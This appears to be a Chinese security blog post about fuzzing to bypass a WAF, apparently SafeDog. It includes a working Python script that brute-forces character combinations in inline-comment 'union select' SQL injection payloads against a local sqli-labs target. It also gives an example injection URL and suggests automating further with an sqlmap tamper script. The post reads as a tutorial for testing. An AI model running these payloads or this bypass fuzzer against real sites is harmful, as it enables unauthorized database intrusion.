Ethan's Blog

FUZZ测试某狗WAF绕过

字数统计: 793阅读时长: 3 min
2019/03/30 Share
题记

Fuzz是安全测试的一种方法,也是极为重要的一种手段!当你面对waf无所适从的时候,这时候你就可以Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的姿势!最近两天我会对fuzz测试进行介绍!主要内容是Fuzz脚本编写和Fuzz思路!如果你想,这里会有无数种姿势让你bypass!

正文
环境准备

测试靶场:sqli-libs

安全软件:某狗最新版

首先安装配置安全狗,在此之前需要安装好phpstudy,和配置sqli-libs靶场,在此便不赘述!

在这里插入图片描述

把http防护打开,其它防护都关掉,以免影响我们测试!

在这里插入图片描述

因为我们进行本地测试,需要发送大量请求!这种情况会触发狗狗的cc防护和ddos防护,所以为了我们能大量得到payload!这里我们关闭IP黑名单和爬虫黑名单!

在这里插入图片描述

可以看到http防护已经全开!

FUZZ思路

我们的思路其实很简单!就是利用特殊字符和数字字母,特殊编码的字符遍历组合在一起进行模糊测试!这次我们利用内联注释来进行基础来进行fuzz,首先测试一下使用内联注释会不会被狗给拦了!

语句:

1
http://192.168.23.149/sqli/Less-1/?id=id=1/*!union*//*!select*/1,2,3

在这里插入图片描述

这时候还是会被狗拦了!所以我们可以发现安全狗对一般的注入还是有一定防护能力的!

接下来贴上我们的FUZZ脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# ! -*- encoding:utf-8 -*-

# python3
#比较全
# fuzz_zs = ['/*','*/','/*!','?','*','=','`','~','!','@','%','.','-','+','|','%00'.'%20' ,'%09', '%0a', '%0b', '%0c', '%0d' ,
# '%a0' ,'/**/']
# fuzz_sz = ['0','1','2','3','4','5','6','7','8','9']
# fuzz_ch = ["%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j","%0k","%0l","%0m","%0n",
# "%0o","%0p","%0q","%0r","%0s","%0t","%0u","%0v","%0w","%0x","%0y","%0z"]
import requests
#精简
fuzz_zs = ['/*', '*/', '/*!', '*', '=', '`', '!', '@', '%', '.', '-', '+', '|', '%00']

fuzz_sz = ['', ' ']

fuzz_ch = ["%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h", "%0i", "%0j"]

fuzz = fuzz_zs + fuzz_sz + fuzz_ch

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"}

url_start = "http://192.168.23.149/sqli/Less-1/?id=1"

for a in fuzz:

for b in fuzz:

for c in fuzz:

for d in fuzz:

exp = "/*!union" + a + b + c + d + "select*/ 1,2,3"

url = url_start + exp

res = requests.get(url=url, headers=headers)

print("Now URL:" + url)

if "Login" in res.text:
print("Find Fuzz bypass:" + url)

with open("H:ip.txt", 'a', encoding='utf-8') as r:
r.write(url + "\n")

这里我们使用精简的payload组合!因为组合起来真是太多了,我计算了一下请看图!

在这里插入图片描述

对!就是3个亿组合,这里才五层嵌套!我就跑了几秒!已经找到近千种bybass姿势了!

在这里插入图片描述

我们随便找一个!进行测试!

在这里插入图片描述

发现成功bypass!

接下来你可以继续手工注入!更方便的是你可以直接写一个sqlmap的tamper自动化注入~

后记

FUZZ作为一种重要的漏洞挖掘姿势!今天利用一个实例以及脚本编写对其进行介绍,这里你可以用成千上万种姿势绕过常规安全软件的软waf!下次我会就FUZZ测试流程以及FUZZ工具使用进行介绍!欢迎各位前来斧正!

CATALOG
  1. 1. 题记
  2. 2. 正文
    1. 2.1. 环境准备
    2. 2.2. FUZZ思路
  3. 3. 后记